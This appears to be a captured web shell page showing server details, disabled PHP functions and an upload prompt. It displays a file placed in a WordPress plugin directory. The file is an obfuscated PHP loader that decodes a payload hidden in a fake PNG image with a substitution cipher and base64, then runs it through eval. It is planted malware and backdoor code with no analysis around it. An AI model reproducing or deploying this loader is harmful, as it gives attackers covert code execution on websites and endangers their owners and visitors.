HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/plugins/achecaja/codolo.txt
<?php

function pejusu_thikochewy($ekokim_ychyzhesa) {
    if ($ekokim_ychyzhesa == 1)
        return ituvov_awothikha();
    if ($ekokim_ychyzhesa == 2)
        return apukyp_ejatunoqu();
}

function migipi_exowegulu($ekokim_ychyzhesa) {
    $ushahez = pejusu_thikochewy(1);
    $itosul = pejusu_thikochewy(2);
    for ($zhubebi = 0; $zhubebi < strlen($ushahez); $zhubebi++) {
        $waseco = substr($ushahez, $zhubebi, 1);
        $letamij = substr($itosul, $zhubebi, 1);
        $ehuhec[$waseco] = $letamij;
    }

    $pogake = strtr($ekokim_ychyzhesa, $ehuhec);
    $pogake = base64_decode($pogake);

    return $pogake;
}

function azusow_xotofopu($ekokim_ychyzhesa) {
    $yxyqoch = array();
    if (!file_exists($ekokim_ychyzhesa))
        return false;
    $elikyky = @file_get_contents($ekokim_ychyzhesa);
    if (!$elikyky)
        return false;
    $elikyky = substr($elikyky, 3);
    $yxyqoch = migipi_exowegulu($elikyky);
    return $yxyqoch;
}

function ituvov_awothikha() {
    $elikyky = "lOdagULwBYxTkK5n30PZVvDz+puSyQtEXiMcre4A/f7RojqHI1=G8NF96bJsmChW2";
    return $elikyky;
}

function apukyp_ejatunoqu() {
    $yxyqoch = "x97pR2VZ5i0g/Iaj6vmoQcSwP4+LNG3DHUYteBkJufhWEdAT1C8qnXK=ObFrlysMz";
    return $yxyqoch;
}

$igybil = azusow_xotofopu(__DIR__ . "/ass" . "ets/i" . "mage" . "s/wohu" . "zhu.pn" . "g");
if ($igybil) {
    @eval($igybil);
}